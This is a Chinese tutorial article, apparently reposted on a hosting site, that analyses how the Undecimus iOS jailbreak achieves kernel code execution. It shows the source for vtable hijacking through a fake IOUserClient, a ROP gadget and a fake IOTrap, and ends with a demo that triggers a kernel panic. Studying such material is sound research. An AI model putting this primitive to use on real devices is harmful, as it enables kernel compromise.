91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

IOTrap怎么實現內核執行的過程

發布時間:2022-01-07 09:21:07 來源:億速云 閱讀:169 作者:iii 欄目:數據安全

這篇文章主要介紹“IOTrap怎么實現內核執行的過程”,在日常操作中,相信很多人在IOTrap怎么實現內核執行的過程問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”IOTrap怎么實現內核執行的過程”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

kexec 概述

在 Undecimus 中,內核任意代碼執行是通過 ROP Gadget 實現的。具體方法是劫持一個系統的函數指針,將其指向想要調用的函數,再按照被劫持處的函數指針原型準備參數,最后設法觸發系統對被劫持指針的調用。

找到可劫持的函數指針

要實現上述 ROP,一個關鍵是找到一個可在 Userland 觸發、易劫持的函數指針調用,另一個關鍵是該函數指針的原型最好支持可變參數個數,否則會對參數準備帶來麻煩。所幸在 IOKit 中系統提供了 IOTrap 機制正好滿足上述所有條件。

IOKit 為 userland 提供了 IOConnectTrapX 函數來觸發注冊到 IOUserClient 的 IOTrap,其中 X 代表的是參數個數,最大支持 6 個入參:

kern_return_t
IOConnectTrap6(io_connect_t    connect,
           uint32_t        index,
           uintptr_t    p1,
           uintptr_t    p2,
           uintptr_t    p3,
           uintptr_t    p4,
           uintptr_t    p5,
           uintptr_t    p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}

userland 的調用在內核中對應 iokit_user_client_trap 函數,具體實現如下:

kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((mach_port_name_t)(uintptr_t)args->userClientRef)))) {
        IOExternalTrap *trap;
        IOService *target = NULL;

        // find a trap
        trap = userClient->getTargetAndTrapForIndex(&target, args->index);

        if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

    iokit_remove_connect_reference(userClient);
    }

    return result;
}

上述代碼先將從 userland 傳入的 IOUserClient 句柄轉換為內核對象,隨后從 userClient 上取出 IOTrap 執行對應的函數指針。因此只要劫持 getTargetAndTrapForIndex 并返回刻意構造的 IOTrap,即可篡改內核執行的 target->*func;更為完美的是,函數的入參恰好是 userland 調用 IOConnectTrapX 的入參。

下面我們看一下 getTargetAndTrapForIndex 的實現:

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
    IOExternalTrap *trap = getExternalTrapForIndex(index);

    if (trap) {
        *targetP = trap->object;
    }

    return trap;
}

可見 IOTrap 是從 getExternalTrapForIndex 方法返回的,繼續跟進發現這是一個默認實現為空的函數:

IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}

可見此函數在父類上默認不實現,大概率是一個虛函數,下面看一下 IOUserClient 的 class 的聲明來驗證:

class IOUserClient : public IOService {
    // ...
    // Methods for accessing trap vector - old and new style
    virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED;
    // ...
};

既然是虛函數,我們可以結合 tfp0 修改 userClient 對象的虛函數表,篡改 getExternalTrapForIndex 的虛函數指針指向我們的 ROP Gadget,并在這里構造好 IOTrap 返回。

實現函數劫持

在 Undecimus 的源碼中,getExternalTrapForIndex 的虛函數指針被指向了一個內核中已存在的指令區域:

add x0, x0, #0x40
ret

這里沒有手動構造指令,應該是考慮到構造一個可執行的頁成本較高,而復用一個已有的指令區域則非常簡單。下面我們分析一下這兩條指令的作用。

因為 getExternalTrapForIndex 是一個實例方法,它的 x0 是隱含參數 this,所以被劫持 getExternalTrapForIndex 的返回值為 this + 0x40,即我們要在 userClient + 0x40 處存儲一個刻意構造的 IOTrap 結構:

struct IOExternalTrap {
    IOService *        object;
    IOTrap        func;
};

再回憶下 IOTrap 的執行過程:

trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
    IOTrap func;

    func = trap->func;

    if (func) {
        result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
    }
}

這里的 target 即 IOTrap 的 object 對象,它作為函數調用的隱含入參 this;而 func 即為被調用的函數指針。到這里一切都明朗了起來:

  1. 將要執行的符號地址寫入 trap->func 即可執行任意函數;

  2. 將函數的第 0 個參數放置到 trap->object,第 1 ~ 6 個參數在調用 IOConnectTrap6 時傳入,即可實現可變入參傳遞。

kexec 代碼實現

上述討論較為宏觀,忽略了一些重要細節,下面將結合 Undecimus 源碼進行詳細分析。

PAC 帶來的挑戰

自 iPhone XS 開始,蘋果在 ARM 處理器中擴展了一項稱之為 PAC(Pointer Authentication Code) 的技術,它將指針和返回地址使用特定的密鑰寄存器簽名,并在使用時驗簽。一旦驗簽失敗,將會解出一個無效地址引發 Crash,它為各種常見的尋址指令增加了擴展指令[1]:

BLR -> BLRA*
LDRA -> LDRA*
RET -> RETA*

這項技術給我們的 ROP 帶來了很**煩,在 Undecimus 中針對 PAC 做了一系列特殊處理,整個過程十分復雜,本文不再展開,將在接下來的文章中詳細介紹 PAC 緩解措施及其繞過方式。有興趣的讀者可以閱讀 Examining Pointer Authentication on the iPhone XS 來詳細了解。

虛函數劫持

我們知道 C++ 對象的虛函數表指針位于對象的起始地址,而虛函數表中按照偏移存放著實例方法的函數指針[2],因此我們只要確定了 getExternalTrapForIndex 方法的偏移量,再利用 tfp0 篡改虛函數指向的地址即可實現 ROP。

Undecimus 的相關源碼位于 init_kexec 中,我們先忽略 arm64e 對 PAC 的處理,了解它的 vtable patch 方法,下面的代碼包含了 9 個關鍵步驟,已給出關鍵注釋:

bool init_kexec()
{
#if __arm64e__
    if (!parameters_init()) return false;
    kernel_task_port = tfp0;
    if (!MACH_PORT_VALID(kernel_task_port)) return false;
    current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    if (!KERN_POINTER_VALID(current_task)) return false;
    kernel_task = ReadKernel64(getoffset(kernel_task));
    if (!KERN_POINTER_VALID(kernel_task)) return false;
    if (!kernel_call_init()) return false;
#else

    // 1. 創建一個 IOUserClient
    user_client = prepare_user_client();
    if (!MACH_PORT_VALID(user_client)) return false;

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    // 2. 獲取 IOUserClient 的內核地址,它是一個 ipc_port
    IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;

    // 3. 從 ipc_port->kobject 獲取 IOUserClient 對象
    IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;

    // 4. 虛函數指針位于 C++ 對象的起始地址
    kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;

    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    // 5. 構造和拷貝虛函數表
    fake_vtable = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_vtable)) return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
    }

    // Create the fake user client
    // 6. 構造一個 IOUserClient 對象,并拷貝內核中 IOUserClient 的內容到構造的對象
    fake_client = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_client)) return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
    }

    // Write our fake vtable into the fake user client
    // 7. 將構造的虛函數表寫入構造的 IOUserClient 對象
    WriteKernel64(fake_client, fake_vtable);

    // Replace the user client with ours
    // 8. 將構造的 IOUserClient 對象寫回 IOUserClient 對應的 ipc_port
    WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);

    // Now the userclient port we have will look into our fake user client rather than the old one

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
    // 9. 將特定指令區域的地址寫入到虛函數表的第 183 個 Entity
    // 它對應的是 getExternalTrapForIndex 的地址
    WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));

#endif
    pthread_mutex_init(&kexec_lock, NULL);
    return true;
}

此時我們已經修改了構造的 userClient 的 getExternalTrapForIndex 邏輯,接下來只需要對 userClient 調用 IOConnectTrap6 即可實現 ROP 攻擊,剩下的一個關鍵步驟是準備 IOTrap 作為 ROP Gadget 的返回值。

構造 IOTrap

由于 getExternalTrapForIndex 被指向了如下指令:

add x0, x0, #0x40
ret

我們需要在 userClient + 0x40 處構造一個 IOTrap:

struct IOExternalTrap {
    IOService *        object;
    IOTrap        func;
};

根據前面的討論,object 應當被賦予被調用函數的第 0 個參數地址,func 應當賦予被調用函數的地址,然后再將函數的第 1 ~ 6 個參數通過 IOConnectTrap 的 args 傳入。下面我們來看 Undecimus 中 kexec 的具體實現,筆者在其中補充了一些注釋:

kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
{
    kptr_t returnval = 0;
    pthread_mutex_lock(&kexec_lock);
#if __arm64e__
    returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
    // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
    // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
    // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
    // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
    // through like normal.

    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
    // (i'm not actually sure if the switch back is necessary but meh)

    // IOTrap starts at +0x40
    // fake_client 即我們構造的 userClient
    // 0ffx20 為 IOTrap->object,offx28 為 IOTrap->func,這里是對原始值進行備份
    kptr_t offx20 = ReadKernel64(fake_client + 0x40);
    kptr_t offx28 = ReadKernel64(fake_client + 0x48);

    // IOTrap->object = arg0
    WriteKernel64(fake_client + 0x40, x0);
    // IOTrap->func = func_ptr
    WriteKernel64(fake_client + 0x48, ptr);

    // x1~x6 為函數的第 1 ~ 6 個參數,第 0 個參數通過 trap->object 傳入
    returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);

    // 這里對原始值進行恢復
    WriteKernel64(fake_client + 0x40, offx20);
    WriteKernel64(fake_client + 0x48, offx28);
#endif
    pthread_mutex_unlock(&kexec_lock);
    return returnval;
}

基于上述討論這段代碼還是很好理解的,到這里非 arm64e 架構下的內核任意代碼執行原理就講解完了,有關 arm64e 的討論將在下一篇文章中繼續,下面我們用 kexec 做一個實驗來驗證 Primitive 的達成。

kexec 實驗

環境準備

請讀者打開 Undecimus 源碼的 jailbreak.m,搜索 _assert(init_kexec() 定位到初始化 kexec 的代碼,向上翻可以發現 kexec 的初始化被放到了 ShenanigansPatch 和 setuid(0) 之后。ShenanigansPatch 是用來解決內核對 sandbox 化進程的 ucred 檢查而采取的繞過措施[3],它是通過 String XREF 定位和修改內核全局變量實現的,有興趣的讀者可以自行閱讀 Shenanigans, Shenanigans! 來了解。

對于非 arm64e 設備,似乎僅通過 tfp0 即可實現 kexec,這段處理應該是針對 arm64e 設備繞過 PAC 所做的必要提權處理。

我們的實驗代碼一定要放到 init_kexec 執行成功之后才行

獲取一個內核函數的地址

在 Undecimus 中獲得了許多關鍵函數的地址,它們通過聲明一個名為 find_xxx 的導出符號實現動態查找和緩存,需要注意的是,在 kexec 初始化后 kerneldump 已經被釋放,因此必須在初始化 kerneldump 時就計算好函數的地址。

我們先參考 Undecimus 是如何查找和緩存一個內核數據的,以 vnodelookup 函數為例:首先我們需要在 patchfinder64.h 中聲明一個名為 `find` 的函數,它返回被查找符號的地址:

uint64_t find_vnode_lookup(void);

隨后基于 String XREF 完成查找的實現:

addr_t find_vnode_lookup(void) {
    addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, string_base_pstring, false, false);
    if (!hfs_str) return 0;

    hfs_str -= kerndumpbase;

    addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
    if (!call_to_stub) return 0;

    return follow_stub(kernel, call_to_stub);
}

隨后在 kerneldump 階段通過宏函數 find_offset 完成查找:

find_offset(vnode_lookup, NULL, true);

上述宏函數會動態調用 find_<symbol_name> 函數并將結果緩存起來,隨后可通過 getoffset 宏函數來獲取相應的偏移:

kptr_t const function = getoffset(vnode_lookup);

這里我們照貓畫虎的創建一個 panic 函數偏移:

uint64_t find_panic(void)
{
    addr_t ref = find_strref("\"shenanigans!", 1, string_base_pstring, false, false);

    if (!ref) {
        return 0;
    }

    return ref + 0x4;
}

這里查找的代碼是位于 sandbox.kext 中的 panic 語句:

panic("\"shenanigans!\"");

通過 String XREF 我們能定位到 panic 調用前的 add 指令,下一條指令一定是 bl _panic,因此將查找結果 + 4 即可得到內核中 panic 函數的地址。

調用內核函數

在上文中我們找到了 panic 函數的地址,這里嘗試用一個自定義字符串觸發一個 kernel panic,注意由于 SMAP 的存在,panic string 要從 userland 拷貝到 kernel:

// play with kexec
uint64_t function = getoffset(panic);
const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!";
kptr_t kstr = kmem_alloc(strlen(testStr));
kwrite(kstr, testStr, strlen(testStr));
kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL);
NSLog(@"result is %@", @(ret));
kmem_free(kstr, sizeof(testStr));

隨后運行 Undecimus,會發生 kernel panic,為了驗證我們成功調用了內核的 panic 函數,在 iPhone 上打開設置頁,打開 Privacy->Analytics->Analytics Data,找到其中以 panic-full 開頭的最新日志,如果試驗成功可以看到如下內容:

IOTrap怎么實現內核執行的過程

到此,關于“IOTrap怎么實現內核執行的過程”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

福建省| 临高县| 南丰县| 丘北县| 广灵县| 沧源| 平凉市| 甘孜县| 绿春县| 利辛县| 鄂托克前旗| 贡觉县| 友谊县| 清远市| 乌审旗| 随州市| 美姑县| 汉沽区| 双辽市| 德清县| 滨州市| 洞口县| 广宁县| 荆州市| 新昌县| 改则县| 南宁市| 怀化市| 平湖市| 定州市| 乐昌市| 临海市| 遵义县| 富锦市| 岳普湖县| 吉林省| 调兵山市| 玉门市| 湘阴县| 比如县| 教育|